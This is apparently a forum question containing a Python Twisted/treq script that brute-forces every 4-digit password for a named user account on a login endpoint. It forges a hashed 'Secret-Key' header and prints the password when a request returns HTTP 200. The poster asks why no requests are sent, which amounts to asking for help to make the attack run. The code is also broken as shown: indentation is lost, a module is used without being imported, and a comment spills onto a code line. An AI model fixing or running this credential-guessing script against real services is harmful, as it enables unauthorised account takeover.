I have the following script:
from twisted.internet import reactor
import time,hashlib,urllib2,json,treq
from urllib import urlencode
#This is used to print out the Password that is found. This is called at the
# end of each loop. And checks if response code == 200.
def done(response):
if response.code == 200:
sys.stdout.write( Password + "FOUND" )
#The Password is basically a 4 digit number, the line under starts with number 0.
PasswordStart = 0
#This is an array to make sure that the script does not do double requests to the host.
executed = []
#Loop which runs the URL request 10000 times
while PasswordStart<9999:
#Checks if PasswordStart is in array
if PasswordStart not in executed and PasswordStart<9999:
#Since PasswordStart is not in array, it will add it to the array
#and then run the rest of the code.
executed.append(PasswordStart)
#Makes a variable of the time/date, used later in headers
Timing = time.strftime("%Y-%m-%dT%H:%M:%S.00+00:00")
#Just four variables for registration date, which is used later in
# the datas_p variable
YearRegD = time.strftime("%Y")
DateRegD = time.strftime("-%m-%d")
YearRegD2 = str((int(YearRegD)-1))
RegD = YearRegD2 + DateRegD
#UserAgent for the request
UserAgent = "Samsung Galaxy S8 - 7.0.0"
#Username for datas_p data later
UName = "JamesRicky"
#Makes the PasswordStart into 4 digits: 0 becomes 0000, 40 becomes 0040.
Password = str(PasswordStart).zfill(4)
#These two hashes my string and makes a variable with the hash,
# which is later used in the headers part of request
HASH = hashlib.md5()
HASH.update(time.strftime("%Y-%m-%dT%H:%M:%S.00+00:00")+UName+Password)
#Now the fun part, defines url for the post request
url = "http://example.com/user"
#JSON data for the POST request
datas_p = {'Username': UName, 'Password': Password, 'RegDate': RegD}
#URLencodes JSON - Not sure if this is needed or not
datas = urlencode(datas_p)
#The headers for the POST request
headers = ({
'User-Agent': [UserAgent],
'Date': [Timing],
'Secret-Key': [HASH.hexdigest()],
'Content-type': ['application/json'],
'Accept-encoding': ['gzip'],
'Accept': ['*/*'],
})
#Sends the treq.post request using the information from above (url, data, headers)
d = treq.post(url, data=datas, headers=headers)
#Adds call back in done def above.
d.addCallback(done)
#Adds up on the PasswordStart, so it tries another password for the
next request in the loop.
PasswordStart+=1
reactor.run()
When I run it, it runs through the loop, but makes 0 requests (no matter which host I have put). Which means there is something wrong with the treq.post request.
What am I doing wrong here?
EDIT: Here is the documentation for treq: https://treq.readthedocs.io/en/latest/ It is supposed to be a lot like requests and based on twisted.
EDIT 2: Here is an example code of how treq is supposed to make requests:
http://nullege.com/codes/show/src%40b%40t%40btcx-HEAD%40btcx%40btce.py/51/treq.post/python
I have had no luck in finding out what I did wrong reading the above code.